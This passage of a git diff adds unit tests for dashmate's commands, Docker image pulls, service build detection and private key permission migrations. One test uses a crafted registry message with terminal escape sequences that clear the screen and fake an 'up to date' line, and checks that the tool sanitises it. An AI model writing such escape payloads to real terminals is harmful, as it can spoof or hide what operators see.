Reading the default config name must not modify the config file + expect(setDefaultConfigName).to.not.be.called(); + expect(configFileRepository.update).to.not.be.called(); + expect(configFile.getDefaultConfigName()).to.equal(baseConfigName); + }); + + it('should set specified config as default', async () => { + const command = new ConfigDefaultCommand(); + + configFile.setDefaultConfigName(null); + + await command.runWithDependencies( + await parseArgs([baseConfigName]), + flags, + configFile, + configFileRepository, + ); + + expect(configFile.getDefaultConfigName()).to.equal(baseConfigName); + expect(consoleLog).to.be.calledOnceWith(`${baseConfigName} config set as default`); + }); +}); diff --git a/packages/dashmate/test/unit/commands/group/default.spec.js b/packages/dashmate/test/unit/commands/group/default.spec.js new file mode 100644 index 00000000000..7daf5f9b3f2 --- /dev/null +++ b/packages/dashmate/test/unit/commands/group/default.spec.js @@ -0,0 +1,90 @@ +import { Parser } from '@oclif/core'; +import GroupDefaultCommand from '../../../../src/commands/group/default.js'; +import ConfigFile from '../../../../src/config/configFile/ConfigFile.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('Group default command', () => { + const flags = {}; + const groupName = 'local'; + + let consoleLog; + let configFile; + let configFileRepository; + + /** + * Parse the command line the same way oclif does at runtime, so the test + * exercises the command's own argument definitions and not a hand-made object. + * + * @param {string[]} argv + * @returns {Promise} + */ + async function parseArgs(argv) { + const { args } = await Parser.parse(argv, { args: GroupDefaultCommand.args }); + + return args; + } + + /** + * @param {string|null} defaultGroupName + * @returns {ConfigFile} + */ + function createConfigFile(defaultGroupName) { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const baseConfig = getBaseConfig(); + + baseConfig.set('group', groupName); + + configFile = new ConfigFile([baseConfig], '1.0.0', null, null, defaultGroupName); + + return configFile; + } + + beforeEach(function beforeEach() { + consoleLog = this.sinon.stub(console, 'log'); + + // The command reads, changes and saves in one locked step, so the double + // hands the mutation the config file the assertions look at + configFileRepository = { + update: this.sinon.stub().callsFake((mutate) => mutate(configFile)), + }; + }); + + it('should print default group name if group name is not specified', async function it() { + createConfigFile(groupName); + + const command = new GroupDefaultCommand(); + + const setDefaultGroupName = this.sinon.spy(configFile, 'setDefaultGroupName'); + + await command.runWithDependencies( + await parseArgs([]), + flags, + configFile, + configFileRepository, + ); + + expect(consoleLog).to.be.calledOnceWith(groupName); + + // Reading the default group name must not modify the config file + expect(setDefaultGroupName).to.not.be.called(); + expect(configFileRepository.update).to.not.be.called(); + expect(configFile.getDefaultGroupName()).to.equal(groupName); + }); + + it('should set specified group as default', async () => { + createConfigFile(null); + + const command = new GroupDefaultCommand(); + + await command.runWithDependencies( + await parseArgs([groupName]), + flags, + configFile, + configFileRepository, + ); + + expect(configFile.getDefaultGroupName()).to.equal(groupName); + expect(consoleLog).to.be.calledOnceWith(`${groupName} group set as default`); + }); +}); diff --git a/packages/dashmate/test/unit/commands/group/restart.spec.js b/packages/dashmate/test/unit/commands/group/restart.spec.js new file mode 100644 index 00000000000..5c41f950734 --- /dev/null +++ b/packages/dashmate/test/unit/commands/group/restart.spec.js @@ -0,0 +1,133 @@ +import { Listr } from 'listr2'; +import GroupRestartCommand from '../../../../src/commands/group/restart.js'; +import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; + +describe('Group restart command', () => { + let configGroup; + let dockerCompose; + let stopNodeTask; + let startGroupNodesTask; + let buildServicesTask; + let command; + + beforeEach(function it() { + configGroup = [getConfigMock(this.sinon), getConfigMock(this.sinon)]; + configGroup.forEach((config, index) => { + config.get.withArgs('group').returns('local'); + config.getName.returns(`local_${index}`); + }); + + dockerCompose = { + pullMissingImages: this.sinon.stub().resolves([]), + }; + + stopNodeTask = this.sinon.stub().resolves(); + startGroupNodesTask = this.sinon.stub().resolves(); + buildServicesTask = this.sinon.stub().resolves(); + + command = new GroupRestartCommand(); + }); + + /** + * @return {Promise} + */ + function run() { + return command.runWithDependencies( + {}, + { verbose: false, safe: false }, + dockerCompose, + stopNodeTask, + startGroupNodesTask, + buildServicesTask, + configGroup, + ); + } + + /** + * Ask one node of the group to build Drive from local sources, the way a + * development group is configured + * + * @param {Config} config + */ + function buildDriveFromSources(config) { + config.get.withArgs('platform.enable').returns(true); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(true); + } + + it('should not stop any node when a required image can not be pulled', async () => { + dockerCompose.pullMissingImages + .withArgs(configGroup[1]) + .rejects(new Error('Failed to pull image dashpay/drive:4: no space left on device')); + + const error = await run().then(() => null, (e) => e); + + expect(error, 'restart must fail instead of stopping the group').to.not.equal(null); + + // The command hides the reason behind MuteOneLineError for the CLI output + expect(error.getError().message).to.include('no space left on device'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startGroupNodesTask).to.have.not.been.called(); + }); + + it('should make sure images of every node are present before stopping the first one', async () => { + await run(); + + expect(dockerCompose.pullMissingImages).to.have.been.calledTwice(); + expect(dockerCompose.pullMissingImages).to.have.been.calledBefore(stopNodeTask); + expect(stopNodeTask).to.have.been.calledTwice(); + expect(startGroupNodesTask).to.have.been.calledOnce(); + }); + + // An image built from local sources is in no registry, so pulling cannot + // confirm it. Leaving the build to the group start runs it after every node + // has been stopped, which is the outage this command exists to avoid. + it('should build local images before stopping the first node', async () => { + const [buildConfig] = configGroup; + + buildDriveFromSources(buildConfig); + + await run(); + + expect(buildServicesTask).to.have.been.calledOnceWith(buildConfig); + expect(buildServicesTask).to.have.been.calledBefore(stopNodeTask); + }); + + it('should not stop any node when a local image can not be built', async () => { + buildDriveFromSources(configGroup[0]); + + buildServicesTask.rejects(new Error('failed to solve: process did not complete')); + + const error = await run().then(() => null, (e) => e); + + expect(error, 'restart must fail instead of stopping the group').to.not.equal(null); + expect(error.getError().message).to.include('failed to solve'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startGroupNodesTask).to.have.not.been.called(); + }); + + // The group start builds the same images itself, and a second build would + // make every restart of a development group pay for the whole build twice + it('should tell the group start the images are already built', async function it() { + buildDriveFromSources(configGroup[0]); + + let observedSkipBuildServices; + + startGroupNodesTask = this.sinon.stub().callsFake(() => new Listr([{ + task: (ctx) => { + observedSkipBuildServices = ctx.skipBuildServices; + }, + }])); + + await run(); + + expect(observedSkipBuildServices).to.be.true(); + }); + + it('should not build anything for a group that uses released images', async () => { + await run(); + + expect(buildServicesTask).to.have.not.been.called(); + }); +}); diff --git a/packages/dashmate/test/unit/commands/update.spec.js b/packages/dashmate/test/unit/commands/update.spec.js index 788f1d67221..3b03861a4ce 100644 --- a/packages/dashmate/test/unit/commands/update.spec.js +++ b/packages/dashmate/test/unit/commands/update.spec.js @@ -1,3 +1,5 @@ +import { PassThrough } from 'node:stream'; +import Docker from 'dockerode'; import UpdateCommand from '../../../src/commands/update.js'; import HomeDir from '../../../src/config/HomeDir.js'; import RenewalRecordRepository from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; @@ -12,13 +14,30 @@ describe('Update command', () => { let mockServicesList; let mockGetServicesList; let mockDocker; - let mockDockerStream; let mockDockerResponse; let dockerCompose; let homeDir; let stderr; let exitCode; + /** + * Docker answers a pull with a stream of newline separated JSON messages + * + * @param {Object[]|string[]} messages + * @return {PassThrough} + */ + function createPullStream(messages) { + const stream = new PassThrough(); + + messages.forEach((message) => { + stream.write(typeof message === 'string' ? message : `${JSON.stringify(message)}\r\n`); + }); + + stream.end(); + + return stream; + } + /** * @param {Object} verdict * @return {Object} @@ -89,11 +108,12 @@ describe('Update command', () => { mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; mockGetServicesList = this.sinon.stub().callsFake(() => mockServicesList); - mockDockerStream = { - on: this.sinon.stub().callsFake((channel, cb) => (channel !== 'error' - ? cb(Buffer.from(`${JSON.stringify(mockDockerResponse)}\r\n`)) : null)), + mockDocker = { + // The real modem is used on purpose: it owns the pull stream parsing + modem: new Docker().modem, + pull: this.sinon.stub() + .callsFake((image, cb) => cb(false, createPullStream([mockDockerResponse]))), }; - mockDocker = { pull: this.sinon.stub().callsFake((image, cb) => cb(false, mockDockerStream)) }; dockerCompose = { isServiceRunning: this.sinon.stub().resolves(false) }; stderr = ''; @@ -121,9 +141,11 @@ describe('Update command', () => { { name: 'fake_docker_pull_error', image: 'fake_err_image', title: 'FAKE_ERROR' }]; mockDocker = { + modem: mockDocker.modem, pull: this.sinon.stub() - .callsFake((image, cb) => (image === mockServicesList[1].image ? cb(new Error(), null) - : cb(false, mockDockerStream))), + .callsFake((image, cb) => (image === mockServicesList[1].image + ? cb(new Error('pull access denied'), null) + : cb(false, createPullStream([mockDockerResponse])))), }; await runUpdate({ updateNode: updateNodeFactory(mockGetServicesList, mockDocker) }); @@ -263,10 +285,12 @@ describe('Update command', () => { expect(stderr).to.not.contain('Your node is currently stopped'); }); - // Individual images failing is not a rejection: updateNode resolves those - // as error rows, and that has always exited 0. - it('should not fail the command when individual pulls fail', async function it() { + // Individual images failing is not a rejection - updateNode resolves those + // as error rows - but the exit code is the only thing that tells a caller + // apart an update that fetched everything from one that fetched none of it. + it('should exit non-zero without rejecting when individual pulls fail', async function it() { mockDocker = { + modem: mockDocker.modem, pull: this.sinon.stub().callsFake((image, cb) => cb(new Error('registry down'), null)), }; this.sinon.stub(console, 'log'); @@ -274,7 +298,8 @@ describe('Update command', () => { await expect(runUpdate({ updateNode: updateNodeFactory(mockGetServicesList, mockDocker) })) .to.not.be.rejected(); - expect(process.exitCode).to.equal(0); + expect(process.exitCode).to.equal(1); + expect(stderr).to.contain('registry down'); }); // exitOnError is false so the throw does not stop the list, and the @@ -362,9 +387,10 @@ describe('Update command', () => { it('should not claim images were pulled when a pull failed', async function it() { mockServicesList = [{ name: 'a', image: 'a', title: 'A' }, { name: 'b', image: 'b', title: 'B' }]; mockDocker = { + modem: mockDocker.modem, pull: this.sinon.stub().callsFake((image, cb) => (image === 'b' ? cb(new Error('registry down'), null) - : cb(false, mockDockerStream))), + : cb(false, createPullStream([mockDockerResponse])))), }; this.sinon.stub(console, 'log'); @@ -508,6 +534,178 @@ describe('Update command', () => { }); }); + describe('failed image pulls', () => { + const rateLimitMessage = 'toomanyrequests: You have reached your pull rate limit'; + + // Docker answers a pull request with 200 and reports registry and disk + // failures as a message inside the progress stream, so a stream that + // completes does not mean the image arrived. + it('should exit non-zero and print the reason when the registry rate limits the pull', async function it() { + mockDockerResponse = { + errorDetail: { message: rateLimitMessage }, + error: rateLimitMessage, + }; + + this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(process.exitCode).to.equal(1); + expect(stderr).to.contain(rateLimitMessage); + }); + + // The previous parser split every chunk on CRLF and parsed each fragment, + // so an ordinary TCP boundary threw inside the stream handler. + it('should report the reason when Docker splits a message across chunks', async function it() { + const line = JSON.stringify({ + errorDetail: { message: rateLimitMessage }, + error: rateLimitMessage, + }); + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => cb( + false, + createPullStream([line.slice(0, 20), `${line.slice(20)}\n`]), + )); + + const [updateInfo] = await updateNodeFactory(mockGetServicesList, mockDocker)(config); + + expect(updateInfo.updated).to.equal('error'); + expect(updateInfo.error).to.equal(rateLimitMessage); + }); + + // Docker separates messages with a line feed and can deliver several of + // them in a single chunk. + it('should report the reason when Docker separates messages with a line feed', async function it() { + const chunk = [ + JSON.stringify({ status: 'Pulling from dashpay/drive' }), + JSON.stringify({ errorDetail: { message: rateLimitMessage }, error: rateLimitMessage }), + '', + ].join('\n'); + + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(false, createPullStream([chunk]))); + + const [updateInfo] = await updateNodeFactory(mockGetServicesList, mockDocker)(config); + + expect(updateInfo.updated).to.equal('error'); + expect(updateInfo.error).to.equal(rateLimitMessage); + }); + + // A pull can fail after the layers arrive - a full disk is the usual + // reason - and the last status line would otherwise report a success. + it('should exit non-zero when the pull fails after the image was downloaded', async function it() { + const diskFullMessage = 'write /var/lib/docker/tmp: no space left on device'; + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => cb( + false, + createPullStream([ + { status: 'Status: Downloaded newer image for fake' }, + { errorDetail: { message: diskFullMessage }, error: diskFullMessage }, + ]), + )); + + this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(process.exitCode).to.equal(1); + expect(stderr).to.contain(diskFullMessage); + }); + + it('should keep the JSON output parseable and carry the reason', async function it() { + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(new Error('no space left on device'), null)); + + const consoleLog = this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(consoleLog).to.have.been.calledOnce(); + + const output = JSON.parse(consoleLog.firstCall.firstArg); + + expect(output).to.have.lengthOf(1); + expect(output[0].updated).to.equal('error'); + expect(output[0].error).to.include('no space left on device'); + }); + + it('should print the reason to stderr and keep the table intact in plain output', async function it() { + const diskFullMessage = 'write /var/lib/docker/tmp: no space left on device'; + + mockServicesList = [ + { name: 'core', image: 'dashpay/dashd:23', title: 'Core' }, + { name: 'drive_abci', image: 'dashpay/drive:4', title: 'Drive ABCI' }, + ]; + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => (image === 'dashpay/drive:4' + ? cb(new Error(diskFullMessage), null) + : cb(false, createPullStream([mockDockerResponse])))); + + const consoleLog = this.sinon.stub(console, 'log'); + + await runUpdate({ flags: { format: 'plain' } }); + + // Plain output renders the task list through console.log as well, + // so the table is one of several calls + const stdout = consoleLog.args.flat().join('\n'); + + expect(stdout).to.include('Drive ABCI'); + expect(stdout).to.include('error'); + // The table has no column for it, so the reason is only reported on stderr + expect(stdout).to.not.include(diskFullMessage); + + expect(stderr).to.contain('Failed to update 1 of 2 images'); + expect(stderr).to.contain(`Drive ABCI (dashpay/drive:4): ${diskFullMessage}`); + expect(process.exitCode).to.equal(1); + }); + + // The registry chooses this text. Printed as it arrives, an escape sequence + // in it can rewrite lines already on screen, hide what follows or address + // the terminal itself, and an unbounded message pushes the rest of the + // output out of the operator's scrollback. + it('should not let the registry write escape sequences to the terminal', async function it() { + const hostile = `\u001b[2J\u001b[1;1HImage is up to date\u0007${'A'.repeat(5000)}`; + + mockDockerResponse = { errorDetail: { message: hostile }, error: hostile }; + + this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(stderr).to.not.contain('\u001b'); + expect(stderr).to.not.contain('\u0007'); + expect(stderr).to.contain('Image is up to date'); + expect(stderr.length).to.be.below(2000); + }); + + it('should show images built from local sources as built locally', async function it() { + mockServicesList = [ + { name: 'fake', image: 'fake', title: 'FAKE' }, + { + name: 'drive_abci', image: 'drive:local', title: 'Drive ABCI', isBuiltLocally: true, + }, + ]; + + const consoleLog = this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(mockDocker.pull).to.have.been.calledOnceWith('fake'); + + const output = JSON.parse(consoleLog.firstCall.firstArg); + + expect(output).to.have.lengthOf(2); + expect(output[1]).to.deep.equal({ + name: 'drive_abci', + title: 'Drive ABCI', + image: 'drive:local', + updated: 'built locally', + }); + + expect(process.exitCode).to.equal(0); + }); + }); + // A prompt that leaks past the interactivity guard neither throws nor // settles - the event loop drains and the process exits 0 with nothing done. // The entry-time exit code is the only thing that turns that into a failure. diff --git a/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js b/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js index 5fc22d104e0..91fc3c1c7ee 100644 --- a/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js +++ b/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js @@ -12,13 +12,14 @@ describe('migrateConfigFileFactory', () => { let container; let createConfigFile; let migrateConfigFile; + let homeDir; beforeEach(async () => { container = await createDIContainer(); migrateConfigFile = container.resolve('migrateConfigFile'); createConfigFile = container.resolve('createConfigFile'); - const homeDir = container.resolve('homeDir'); + homeDir = container.resolve('homeDir'); homeDir.change(new HomeDir('/Users/dashmate/.dashmate', true)); mockConfigFileData = getConfigFileDataV0250(); @@ -398,4 +399,91 @@ describe('migrateConfigFileFactory', () => { expect(again.configFormatVersion).to.equal(upgradedVersion); }); + + describe('SSL private key', () => { + // The migrations copy the certificate files to their new location, and a copy + // keeps the permissions of the source. Keys created before dashmate restricted + // them are world-readable and must not be carried over that way. + let tempHomeDir; + + beforeEach(() => { + tempHomeDir = HomeDir.createTemp(); + + homeDir.change(tempHomeDir); + }); + + afterEach(() => { + tempHomeDir.remove(); + }); + + /** + * @param {string} filePath + */ + function createWorldReadablePrivateKey(filePath) { + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + fs.writeFileSync(filePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(filePath, 0o644); + } + + /** + * @param {string} filePath + * @returns {number} + */ + function getPermissions(filePath) { + // eslint-disable-next-line no-bitwise + return fs.statSync(filePath).mode & 0o777; + } + + it('should restrict the private key moved out of the legacy ssl directory', () => { + createWorldReadablePrivateKey(tempHomeDir.joinPath('ssl', 'testnet', 'private.key')); + + const getConfigFileMigrations = container.resolve('getConfigFileMigrations'); + + getConfigFileMigrations()['0.25.7']({ + configs: { + testnet: { network: 'testnet' }, + }, + }); + + const newFilePath = tempHomeDir.joinPath( + 'testnet', + 'platform', + 'dapi', + 'envoy', + 'ssl', + 'private.key', + ); + + expect(getPermissions(newFilePath)).to.equal(0o600); + }); + + it('should restrict the private key moved from envoy to the gateway directory', () => { + createWorldReadablePrivateKey(tempHomeDir.joinPath( + 'testnet', + 'platform', + 'dapi', + 'envoy', + 'ssl', + 'private.key', + )); + + const { version } = JSON.parse(fs.readFileSync(path.join(PACKAGE_ROOT_DIR, 'package.json'), 'utf8')); + + migrateConfigFile( + mockConfigFileData, + mockConfigFileData.configFormatVersion, + version, + ); + + const newFilePath = tempHomeDir.joinPath( + 'testnet', + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + expect(getPermissions(newFilePath)).to.equal(0o600); + }); + }); }); diff --git a/packages/dashmate/test/unit/docker/DockerCompose.spec.js b/packages/dashmate/test/unit/docker/DockerCompose.spec.js new file mode 100644 index 00000000000..cbe9925d741 --- /dev/null +++ b/packages/dashmate/test/unit/docker/DockerCompose.spec.js @@ -0,0 +1,224 @@ +import DockerCompose from '../../../src/docker/DockerCompose.js'; +import getConfigMock from '../../../src/test/mock/getConfigMock.js'; + +describe('DockerCompose', () => { + describe('#pullMissingImages', () => { + let config; + let docker; + let getServiceList; + let dockerPull; + let dockerCompose; + let presentImages; + + /** + * @param {string} image + * @return {{inspect: function}} + */ + function getImage(image) { + return { + inspect: async () => { + if (presentImages.includes(image)) { + return { Id: image }; + } + + const error = new Error(`No such image: ${image}`); + error.statusCode = 404; + + throw error; + }, + }; + } + + beforeEach(function it() { + this.sinon.stub(DockerCompose.prototype, 'throwErrorIfNotInstalled').resolves(); + + config = getConfigMock(this.sinon); + + presentImages = []; + + docker = { getImage: this.sinon.stub().callsFake(getImage) }; + getServiceList = this.sinon.stub(); + + // A successful pull leaves the image on the host + dockerPull = this.sinon.stub().callsFake(async (image) => { + presentImages.push(image); + }); + + dockerCompose = new DockerCompose( + docker, + undefined, + undefined, + undefined, + getServiceList, + dockerPull, + ); + }); + + it('should not pull anything when all images are already on the host', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + presentImages = ['dashpay/dashd:23', 'dashpay/drive:4']; + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal([]); + expect(dockerPull).to.have.not.been.called(); + }); + + it('should pull an image that is missing on the host', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + presentImages = ['dashpay/dashd:23']; + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal(['dashpay/drive:4']); + expect(dockerPull).to.have.been.calledOnce(); + expect(dockerPull.firstCall.firstArg).to.equal('dashpay/drive:4'); + }); + + it('should report the reason when a missing image can not be pulled', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.rejects(new Error('write /var/lib/docker: no space left on device')); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith(/dashpay\/drive:4.*no space left on device/); + }); + + it('should fail when the image is still missing after Docker reported a successful pull', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.resolves([]); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith('Failed to pull image dashpay/drive:4: it is still not present on the host'); + }); + + it('should report which image could not be checked when Docker fails', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + docker.getImage.returns({ + inspect: async () => { + const error = new Error('server error'); + error.statusCode = 500; + + throw error; + }, + }); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith('Failed to check image dashpay/drive:4: server error'); + + expect(dockerPull).to.have.not.been.called(); + }); + + it('should stop at the first image that can not be pulled', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + { + name: 'gateway', image: 'dashpay/envoy:1.39.0', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.withArgs('dashpay/drive:4') + .rejects(new Error('toomanyrequests: You have reached your pull rate limit')); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith(/dashpay\/drive:4.*toomanyrequests/); + + expect(dockerPull.args.map(([image]) => image)) + .to.deep.equal(['dashpay/dashd:23', 'dashpay/drive:4']); + }); + + it('should not try to pull images built from local sources', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'drive:local', isBuiltLocally: true, profiles: ['platform'], + }, + ]); + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal([]); + expect(dockerPull).to.have.not.been.called(); + }); + + it('should not pull images of services the requested profiles exclude', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'insight', image: 'dashpay/insight-api:latest', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + // Compose always creates a service that declares no profiles + { + name: 'dashmate_helper', image: 'dashpay/dashmate-helper:4.1.0', isBuiltLocally: false, profiles: [], + }, + ]); + + const pulledImages = await dockerCompose.pullMissingImages(config, { profiles: ['platform'] }); + + expect(pulledImages).to.deep.equal(['dashpay/drive:4', 'dashpay/dashmate-helper:4.1.0']); + expect(docker.getImage).to.have.not.been.calledWith('dashpay/insight-api:latest'); + }); + + it('should report pull progress', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.callsFake(async (image, onProgress) => { + onProgress({ status: 'Downloading', progress: '[====> ] 12MB/45MB' }); + onProgress({ progressDetail: {} }); + + presentImages.push(image); + }); + + const messages = []; + + await dockerCompose.pullMissingImages(config, { + onProgress: (message) => messages.push(message), + }); + + expect(messages).to.deep.equal(['dashpay/drive:4: Downloading [====> ] 12MB/45MB']); + }); + }); +}); diff --git a/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js b/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js new file mode 100644 index 00000000000..627e5ed0a4d --- /dev/null +++ b/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js @@ -0,0 +1,72 @@ +import { PassThrough } from 'node:stream'; +import Docker from 'dockerode'; +import dockerPullFactory from '../../../src/docker/dockerPullFactory.js'; + +describe('dockerPull', () => { + let stream; + let docker; + let dockerPull; + + beforeEach(() => { + stream = new PassThrough(); + + // The real modem is used on purpose: it owns the stream buffering and + // decides what counts as a failed pull + docker = { + modem: new Docker().modem, + pull: (image, callback) => callback(null, stream), + }; + + dockerPull = dockerPullFactory(docker); + }); + + it('should reject when Docker Hub rate limits the pull', async () => { + const message = 'toomanyrequests: You have reached your pull rate limit'; + + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ errorDetail: { message }, error: message })}\n`); + stream.end(); + + await expect(promise).to.be.rejectedWith(message); + }); + + it('should reject when the host runs out of disk space during the pull', async () => { + const message = 'write /var/lib/docker/tmp: no space left on device'; + + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ status: 'Downloading', id: 'a1b2c3' })}\n`); + stream.write(`${JSON.stringify({ errorDetail: { message }, error: message })}\n`); + stream.end(); + + await expect(promise).to.be.rejectedWith(message); + }); + + it('should reject when the daemon refuses the pull', async () => { + docker.pull = (image, callback) => callback(new Error('connect ENOENT /var/run/docker.sock')); + + await expect(dockerPull('dashpay/drive:4')) + .to.be.rejectedWith('connect ENOENT /var/run/docker.sock'); + }); + + it('should reject when the pull stream fails', async () => { + const promise = dockerPull('dashpay/drive:4'); + + stream.destroy(new Error('socket hang up')); + + await expect(promise).to.be.rejectedWith('socket hang up'); + }); + + it('should resolve when the pull succeeds', async () => { + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ status: 'Status: Downloaded newer image for dashpay/drive:4' })}\n`); + stream.end(); + + const output = await promise; + + expect(output).to.have.lengthOf(1); + expect(output[0].status).to.equal('Status: Downloaded newer image for dashpay/drive:4'); + }); +}); diff --git a/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js b/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js new file mode 100644 index 00000000000..d1fc5c66d36 --- /dev/null +++ b/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js @@ -0,0 +1,110 @@ +import getServiceListFactory from '../../../src/docker/getServiceListFactory.js'; +import getConfigMock from '../../../src/test/mock/getConfigMock.js'; +import { DASHMATE_HELPER_DOCKER_IMAGE } from '../../../src/constants.js'; + +describe('getServiceList', () => { + let config; + let getConfigProfiles; + + const images = { + CORE_DOCKER_IMAGE: 'dashpay/dashd:23', + PLATFORM_DRIVE_ABCI_DOCKER_IMAGE: 'dashpay/drive:4', + PLATFORM_DAPI_RS_DAPI_DOCKER_IMAGE: 'dashpay/rs-dapi:4', + }; + + /** + * @param {string[]} buildComposeFiles + * @param {Object} sinon + * @return {getServiceList} + */ + function createGetServiceList(buildComposeFiles, sinon) { + const generateEnvs = sinon.stub().returns({ + COMPOSE_FILE: ['docker-compose.yml', ...buildComposeFiles].join(':'), + ...images, + }); + + return getServiceListFactory(generateEnvs, getConfigProfiles); + } + + beforeEach(function it() { + config = getConfigMock(this.sinon); + + getConfigProfiles = this.sinon.stub().returns(['core', 'platform', 'platform-dapi-rs']); + }); + + it('should not mark any service as built locally by default', function it() { + const services = createGetServiceList([], this.sinon)(config); + + expect(services).to.have.length.greaterThan(0); + expect(services.every((service) => service.isBuiltLocally === false)).to.be.true(); + + const core = services.find((service) => service.name === 'core'); + + expect(core.image).to.equal('dashpay/dashd:23'); + }); + + it('should mark Drive as built locally when it is built from sources', function it() { + const services = createGetServiceList( + ['docker-compose.build.drive_abci.yml'], + this.sinon, + )(config); + + const driveAbci = services.find((service) => service.name === 'drive_abci'); + const core = services.find((service) => service.name === 'core'); + + // The build compose file replaces the registry image with a locally built one + expect(driveAbci.image).to.equal('drive:local'); + expect(driveAbci.isBuiltLocally).to.be.true(); + + expect(core.isBuiltLocally).to.be.false(); + }); + + it('should mark DAPI as built locally when it is built from sources', function it() { + const services = createGetServiceList( + ['docker-compose.build.rs-dapi.yml'], + this.sinon, + )(config); + + const rsDapi = services.find((service) => service.name === 'rs_dapi'); + + expect(rsDapi.image).to.equal('rs-dapi:local'); + expect(rsDapi.isBuiltLocally).to.be.true(); + }); + + it('should mark the helper as built locally while still reporting its released image', function it() { + const services = createGetServiceList( + ['docker-compose.build.dashmate_helper.yml'], + this.sinon, + )(config); + + const helper = services.find((service) => service.name === 'dashmate_helper'); + + expect(helper.isBuiltLocally).to.be.true(); + + // The helper is always reported with its released image, while compose runs + // the locally built `dashmate-helper:local`. Nothing pulls the reported + // image because the service is built, so the two never disagree in practice + expect(helper.image).to.equal(DASHMATE_HELPER_DOCKER_IMAGE); + }); + + it('should mark every service built from sources when all builds are enabled', function it() { + const services = createGetServiceList( + [ + 'docker-compose.build.dashmate_helper.yml', + 'docker-compose.build.drive_abci.yml', + 'docker-compose.build.rs-dapi.yml', + ], + this.sinon, + )(config); + + const builtServices = services + .filter((service) => service.isBuiltLocally) + .map((service) => service.name); + + expect(builtServices).to.have.members(['dashmate_helper', 'drive_abci', 'rs_dapi']); + + const core = services.find((service) => service.name === 'core'); + + expect(core.isBuiltLocally).to.be.false(); + }); +}); diff --git a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js index 637fab2afb6..01de9f98a9d 100644 --- a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js +++ b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js @@ -310,4 +310,39 @@ describe('analyseConfigFactory', () => { expect(problem.getSolution()).to.contain('ssl obtain'); }); }); + + describe('gateway TLS private key permissions', () => { + it('should report a problem when the private key is readable by other users', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o644); + + const problem = 